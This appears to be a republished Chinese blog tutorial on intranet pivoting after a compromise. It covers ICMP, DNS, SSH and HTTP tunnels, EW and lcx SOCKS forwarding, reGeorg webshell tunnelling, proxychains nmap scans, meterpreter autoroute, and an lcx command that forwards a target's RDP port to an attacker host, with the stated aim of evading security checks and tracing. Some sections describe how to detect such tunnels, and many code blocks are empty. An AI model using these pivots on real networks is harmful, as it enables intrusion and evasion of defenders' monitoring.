内网漫游系列之流量操控与Socks代理总结
场景
- 内网机器受到边界防火墙的限制,访问受限的网络环境
- 使用隐蔽的手段逃避安全检查措施和溯源追踪
- 在非受信任的网络中实现安全的数据传输
重定向(Rdirection)
端口转发
传输使用的明文
隧道 (Tunneling)
隧道技术是一种通过使用互联网络的基本设施在网络之间传递数据的方式,使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道技术将其他协议的数据帧或者数据包重新封装然后通过隧道发送。新的帧头提供路由信息,以便互联网传递被封装的负载数据。 —-百度百科
- 在不受信任的网络环境中实现安全的通信
- 通常使用多种加密技术建立通信隧道
- 点到点(IP2IP)、端到端(Port2Port)隧道
- VPN : PPTP、l2tp、IPSec、SSL vpn
封装(encapsulation)
通常结合在隧道中使用,使用一种协议封装一种协议(RPC o HTTP、VoIP) 使用网关设备实现不同类型网络的互联互通
网络层隧道
ICMP隧道
场景
两台机器间,除了允许互ping,其他的TCP/UDP端口一律不允许,此时可以考虑使用ICMP进行穿透
原理
Windows系统默认传输32bytes的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghi
,ping包的大小是可以改变的,但是内容依旧不变,循环
|
|
Linux系统默认传输48bytes,头信息比较复杂,但是内容也是固定!”#$%&’()+,-./01234567
ICMP隐蔽隧道的原理就是:替换Data部分,利用客户端程序进行接收并处理服务端发送的畸形的ICMP协议(主要是Request和Reply包)
工具
该工具需要python-impacket
库的支持,而且run.sh
并不能获取本地IP,所以直接使用python3 icmpsh_m.py 192.168.1.139 192.168.1.161
,最大的优点是客户端支持Windows Powershell也能支持,并且无乱码
|
|
已经不更新了,支持多并发连接、支持身份验证、需要root
|
|
下载安装
|
|
被控端:
|
|
控制端:
|
|
这个工具原理都是一样的,但是与其他俩个工具的不一样之处在于,主动向需要控制的机器发送ICMP数据包,并且产生的ICMP数据包比较少,不容易被IDS等检测系统发现
都只能在linux下使用,并且需要关闭ICMP响应
|
|
服务端,启动icmptunnel,并给隧道分配一个IP
|
|
客户端,连接服务端,并且给隧道分配一个IP
|
|
客户端就建立了一个端到端的ICMP隧道,其中服务器为10.0.0.1,客户端为10.0.0.2,可以建立一个ssh socks隧道
|
|
检测
- 检测同一来源 ICMP 数据包的数量。一个正常的 ping 每秒最多只会发送两个数据包,而使用 ICMP隧道的浏览器在同一时间会产生上千个 ICMP 数据包。
- 寻找那些响应数据包中 payload 跟请求数据包不一致的 ICMP 数据包。
- 注意那些 ICMP 数据包中 payload 大于 64 比特的数据包。当然 icmptunnel 可以配置限制所有数据包的 payload 为 64 比特,这样会使得更难以被检测到。
- 检查ICMP数据包的协议标签,例如icmptunnel 会在所有的 ICMPpayload 前面增加 ‘TUNL’ 标记以用于识别隧道,这就是特征。
IPV6隧道
类型
- IPV6 over IPV4隧道,把IPV6报文封装到IPV4报文中,使IPV6的流量可以穿越IPV4网络
- IPV4 over IPV6隧道,把IPV4报文封装到IPV6中,使IPV4的流量可穿越IPV6
应用层隧道
DNS隧道
场景
防火墙禁止TCP出站访问流量
-
SSH隧道、端口转发全部失效
-
使用基于UDP协议的隧道
-
DNS的工作原理适合用于实现隧道
原理
配置某个域名的NS服务器,使得对该域名的所有子域解析请求最终到达该NS服务器上,然后将另一个协议的数据编码为一系列dns查询,响应时客户端将返回的Response数据进行解码得到另一协议的数据
- 利用合法的DNS服务器实现DNS隧道
- C/S (dns2tcpc / dns2tcpd)架构
- 通过TXT、CNAME、MX记录加密传输数据(A记录长度有限)
- 隧道建立后保持连接
- 默认记录生存时间TTL值为3秒
工具
DNScat2、dns2tcp、iodine、CS
Dns2tcp
采用直连,但速度不是特别乐观,优势在于kali直接集成了这个工具,部分linux发行版也都可以直接通过包工具下载,相对方便。iodine
和Dnscat2
则是目前的主流,Dnscat2
提供了灵活的交互模式,而iodine
则在编码,请求类型上提供了更丰富的选择,而且在速度方面,其他工具望尘莫及
方法
- 假如能够指定任意DNS服务器查询,且可以正常查询到结果的话,无需域名可以直接通过53通道进行高速上线,此时速度最快
|
|
- 如果无法指定DNS服务器进行查询,必须上线一个自己的域名,并且是慢速上线,速度较慢
|
|
检测方式
- 基于请求域名长度及请求频率统计分析方法,将客户端请求的DNS域名中长度大于长度阈值的以记录下来,然后统计频率,当频率大于频率告警阈值时则判定此客户端使用了 DNS隧道技术
- dnscat 查询中包含了dnscat 字符串,这个可以作为防火墙和入侵检测的特征
SSH隧道
-
建立双向安全隧道
- 将其他TCP端口的通信通过SSH连接转发
- 用SSH作为传输层协议,对流量自动加解密
- 突破防火墙访问规则的限制
-
SSH本地端口转发
- 本机侦听端口,访问转发到远程主机指定端口
1 2 3 4
ssh -L -CfN <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port> #能够共享该隧道 ssh -L -CfNg <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
基于建立起来的SSH隧道,隧道中断则端口转发中断
只能在建立隧道时创建转发,不能为已有隧道增加端口转发
-
远程端口转发
- 远程侦听端口,访问转发到本机主机指定端口
1
ssh -R -CfNg <listen posrt> :<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
内网为服务器
-
动态端口转发
- 本地侦听socks4/5代理端口,由SSH server决定如何转发
1
ssh -CfNg -D <listen port> user@<ssh server> -p <ssh server port>
不管是利用SSH做转发还是做socks代理,唯一的好处就是通信数据全加密,一定程度上可有效对抗各类IDS、IPS和取证,缺点就是可能速度稍慢,对于渗透Linux内网是比较好的选择。
HTTP隧道
原理
通过HTTP协议与代理服务器建立连接,协议信令中包含要连接到的远程主机的IP和端口,如果有需要身份验证的话还需要加上授权信息,服务器收到信令后首先进行身份验证,通过后便与远程主机建立连接,连接成功之后会返回给客户端200,表示验证通过。此外HTTP隧道是没有进行加密
的,不安全的,一般再嵌套一个SSH安全隧道
|
|
场景
-
内网防火墙具有协议检测和识别能力且仅允许HTTP流量出去外网
-
内网具备深度包检测能力且仅允许HTTP流量出去外网但可以检测明文传输的HTTP流量
-
服务器处于内网,可以访问外部网络
基于SSL加密的隧道工具,全程通信数据加密,一定程度上能对抗取证检测
需要pycrypto、httplib2
依赖库,然后生成服务端webshell
|
|
生成了aspx、jsp、war
三种类型的webshell(不支持PHP),然后上传至网站服务器即可。然后就可以绑定端口建立隧道了
|
|
这个可以说是用的比较多了,支持php|aspx|ashx|jsp
,与上一个abptts类似,也是上传一个Tunnel
脚本,然后远程连接转发端口即可建立socket代理隧道
|
|
【注】
- 对于aspx的网站假如总是报错,可以尝试ashx脚本
- PHP程序确认php.ini中socket模块正常开启并且可用,reGeorge也提供了nosocket脚本
- linux下利用
proxychains
,Windows下利用proxifier
实现任意应用通过代理 - 假如绑定某些端口会遇到socket无法建立连接时,尝试着利用80、53等穿透性强的端口
剩下还有一些bridge、Reduh、Tunna等工具可以建立HTTP隧道,但是效果都不大好….
- Navicat
Navicat自带对应数据库的代理脚本(mysql、postgresql、sqlite),上传该代理脚本,建立HTTP隧道,在远程机器上可直接通过Navicat连接内网数据库
场景
目标机器站库分离,数据库在内网的某台机器上;防火墙阻断外部IP访问内部数据库端口;无法开启mysql外联…
检测
- 基于签名的检测,通过检测HTTP协议数据包中特定的数据式样来判断是否是可以的HTTP数据包
- 基于协议的检测,很多HTTP隧道传输时只是简单的一个HTTP协议封装,加上了一个HTTP头部,而正常的HTTP协议是非常复杂的
- 基于行为的检测,通过数据包大小、数量、会话时长等,基于这些特征采取数据挖掘技术对其进行建模检测
Socks代理
Socks是一种代理服务,可以简单地将一端的系统连接到另外一端,并且支持多种协议,包括http、ftp请求及其他类型的请求。
有socks4和5两种类型,socks4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份认证机制等协议
Lcx
最为经典而且也是最为频繁的端口转发工具,是一个基于socket套接字实现的端口转发工具,从linux下的htran移植给Windows的。
|
|
EW
提供五种管道:
|
|
- 正向socks5代理
适用于目标机器拥有一个外网IP
|
|
- 反弹socks5代理
适用于目标机器没有公网IP,但可访问内网资源
|
|
- 二级网络环境 (一)
|
|
- 二级网络环境 (二)
|
|
- 三级网络环境
|
|
内网漫游
1.Windows下使用sockscap64
首先下载安装好SocksCap64后,以管理员权限打开。默认浏览器已经添加。
使用比较简单,点击代理,点击添加一个代理,然后设置下代理服务器IP和端口就可以使用了。设置好后可以点击软件右边有个闪电的小圆点,测试下当前代理服务器是否可以连接,如下图,连接是正常的。
这个时候就可以选择浏览器,右击在代理隧道中运行选中的程序,然后我们就可以自由访问我们想访问的内网资源了,比如我们可以访问10.48.128.22路由的80端口。
可以看到我们已经成功的通过socks代理漫游内部网络WEB资源,我们接着看看还有哪些程序能够利用SOCKSCAP的程序通过代理访问内网中的哪些端口了?
尝试登陆10.48.128.20的3389端口,可以看到成功登陆。
我们可以在我们的公网VPS的命令行下可以看到,不停的有数据的交换。再尝试PUTTY访问10.48.128.49的22端口,成功登陆。
再试试VNC端口,因为10.48.128.25开了5900端口,OK,成功访问。大家可以看到这种利用SOCKS代理实现一对多端口映射的优势立刻就体现了出来,效率倍增。
但是将扫描工具进行SOCKSCAP代理,然后对内网网段进行扫描,我没有尝试成功,大家可以多多的尝试各种工具!我在代理下用扫描工具一般都是用proxychains,大家接着往下看!
2.LINUX下使用proxychains
KALI系统已经预装好了这个工具,我们稍作配置就可以使用,打开终端,输入命令:
vi /etc/proxychains.conf
顺便补充下Linux下Vim编辑器简单使用方法
使用上面命令进入文本后,按“i”键就进入了编辑模式,可以对文本进行修改,修改完后按esc 然后按住shift+; 左下角会出现一个冒号这个时候输入wq,按回车保存并退出。
第一步先删掉dynamic_chain前面的注释符(也就是#符号)
然后拉到最下面,把默认是socks4 127.0.0.1 9050 的地方改成我们架设的代理服务139.XXX.XX.113 1008
这样就设置完成了,我们接着测试下代理服务是否正常,在终端输入:
proxyresolv www.baidu.com
cp /usr/lib/proxychains3/proxyresolv /usr/bin/
然后再次测试下代理服务器是否正常,显示OK就表示配置正确了。
现在我们就可以愉快的畅游内网了,照例先访问内网网站试试看,我们先在终端输入proxychains firefox启动火狐浏览器。
等个几秒钟,火狐就打开了,我们还是访问10.48.128.22路由的80端口看看。
顺利打开,可以看到kali里面的数据不停的交换,我们再打开10.48.128.48看看,也是可以访问的,一个Zend服务器测试页。
接着就到了看自由发挥了!!!
3.reGeorg+Proxifier组合技
reGeorg是reDuh的继承者,利用了会话层的socks5协议,而Proxifier是一款强大的socks5客户端,可以让不支持通过代理服务器工作的网络能通过HTTPS或SOCKS代理或代理链。该文件下支持php,asp,jsp,aspx。
内网转发工具大体分为:端口转发工具(lcx.exe),Web代理脚本,Shell反弹脚本等。
reGeorg的出现,方便了安全测试代理进入内网,现在使用reGeorg和Proxifier,在安全测试过程中,可以利用他们的组合完成从外网到内网的通信。
正向代理和反向代理:
1.正向代理:正向代理类似一个跳板机,代理访问内部资源。
举个例子:我是一个用户,我访问不了某网站,但是我能访问一个代理服务器,这个代理服务器能访问那个我不能访问的网站,于是我先连上代理服务器,告诉他我需要那个无法访问网站的内容,代理服务器去取回来,然后返回给我。从网站的角度,只在代理服务器来取内容的时候有一次记录,有时候并不知道是用户的请求,也隐藏了用户的资料,这取决于代理告不告诉网站。
客户端必须设置正向代理服务器,前提是要知道正向代理服务器的IP地址,还有代理程序的端口。
总结:正向代理是一个位于客户端和原始服务器(origin server)之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须要进行一些特别的设置才能使用正向代理。
正向代理用途:
(1) 访问原来无法访问的资源,如Google,youtube
(2) 可以做缓存,加速访问资源。
(3) 对客户端访问授权,上网进行认证。
(4) 记录用户访问记录,管理上网行为,对外隐藏用户信息。
2.反向代理:
反向代理(Reverse Proxy)实际运行方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个服务器。
反向代理作用:
(1) 保证内网的安全,可以使用反向代理提供WAF功能,阻止web攻击大型网站,通常将反向代理作为公网访问地址,Web服务器是内网。
(2) 负载均衡,通过反向代理服务器来优化网站的负载
即是正向代理隐藏的是客户端,反向代理隐藏的是服务器端
内网渗透代理工具reGeorg+Proxifier工具利用场景:
目标环境:linux服务器受到防火墙的限制,防火墙DMZ区域映射外网端口80,外网只能通过80端口访问内网,内网只能返回http的流量,无法采用反向代理的形式。利用常规的lcx等反弹工具也会被各种安全软件拦截,只要一枚权限较低的webshell,尝试提权无果。
为什么需要内网穿透:一般来说,linux提权需要获取一个反弹回来的半交互式shell,内网穿透可以用来进一步内网渗透。
如何进行内网穿透:
(1) 反向代理:将内网的流量转发到外网
(2) 正向代理:以某台机器为跳板,做正向代理进行内网穿透
这里很明显,我们只能通过80端口访问目标机器。因此需要借助webshell搭建一个正向代理。
这个时候就需要一款内网代理和端口转发工具,穿越防火墙的阻挡直连内网
0x01 下载和配置reGeorg
由于reGeorg是用python2脚本编写,需要urllib3模块。
给出reGeorg的github下载地址:https://github.com/sensepost/reGeorg
使用reGeorg需要安装setuptools。
windows下载地址:https://pypi.org/project/setuptools/#windows-simplified
linux下载地址:https://bootstrap.pypa.io/ez_setup.py
下载完成后将setuptools复制到python2.7版本安装目录下,打开cmd,依次运行:
py -2 setup.py build
py -2 setup.py install
使用pip直接安装urllib3:
py -2 -m pip install urllib3
至此reGeorg的基本使用环境已经配置完成…
验证reGeorg是否可以正常运行:
py -2 reGeorg SocksProxy.py -h
成功。至此reGeorg安装完成。
0x02 reGeorg的使用
将reGeorg对应的脚本上传到服务器端,reGeorg提供了php,aspx,jsp脚本
直接访问上传的脚本文件,出现 Georg says, ‘All seems fine’ ,表示脚本运行正常。
运行reGerog监听9999端口:
py -2 reGeorgSocksProxy.py -p 9999 -u http://ip/tunnel.nosocket.php
由于是基于socks5,本地还需要一个socks5代理工具,比如proxifier,proxycap…这里用proxifier为例,首先对proxifier进行配置。
proxifier注意事项:
1.direct表示不使用socks5代理,直接请求;block表示阻断请求;proxy socks5表示使用socks5代理服务。
2.默认不使用proxy socks5,仅对需要的程序使用socks5代理服务。
配置完成后,访问内网地址:
以上是windows的操作。
下面介绍在Linux中使用reGerog+proxychains。
proxychains是kali里面自带的,这里也给出github地址:https://github.com/haad/proxychains
不过对于reGerog的安装参照windows安装方法,setuptools也需要安装,安装完毕上传tunnel.nosocket.php脚本,尝试建立socks5代理链接:
python ReGeorgSocKsProxy.py -p 9999 -u http://ip/tunnel.nosocket.php
proxychains安装完毕后需要修改 /etc/proxychains.conf 最后一行:
socks4那一行修改为以下
socks5 127.0.0.1 9999
至此,利用proxychains进行socks5代理完成
通过建立sock5隧道,这样本地的kali和web服务器处于同一个环境。
使用方法:
proxychains <运行的命令> <命令参数>
只要在需要代理的命令前面加上proxychains即可
eg:proxychains firefox 可以使用firefox浏览器远程访问内网服务器
proxychains nmap -T4 -A 10.8.0.0/24 扫描内网开放端口
关于proxychains的实战利用请看:https://www.cnblogs.com/adislj777/p/6980365.html
不过这样比较慢,现在一般使用msf+proxychains,不过前提是我们获取了一个弹回来的shell,有了shell以后,
就进行内网代理:
run get_local_subnets 查看目标主机路由信息
run autoroute -s 192.168.100.0/22 添加路由(在 -s 前加-d是删除路由)
设置好之后就使用socks5辅助模块
再配置proxychains.conf 末尾修改成socks5 127.0.0.1 9999就大功告成了,
扫描内网端口:
proxychains nmap -sT -Pn –open 192.168.100.1/22
**注意:**由于proxychains无法代理icmp的数据包 所以必须添加-Pn参数 即不检测主机是否存活 直接进行端口tcp扫描
补充:
其实也可以直接使用msf的辅助模块进行扫描
auxiliary/scanner/portscan 端口扫描
scanner/portscan/syn SYN端口扫描
scanner/portscan/tcp TCP端口扫描
对端口转发的补充
meterpreter也可以实现端口转发
meterpreter > portfwd add -l 55555 -r 192.168.16.1 -p 3306
lcx端口转发
攻击机
lcx -listen 2222 3333 # 2222为转发端口,3333为本机任意未被占用的端口
目标主机
lcx -slave 110.1.1.1 2222 127.0.0.1 3389
另外还有很多使用socks进行内网漫游的方法,这里不在一一细说,具体看大佬博客:
- 原文作者:码中春秋
- 原文链接:https://blog.taielab.com/2019-06-05/intranet-roaming-network-traffic-control.html
- 版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。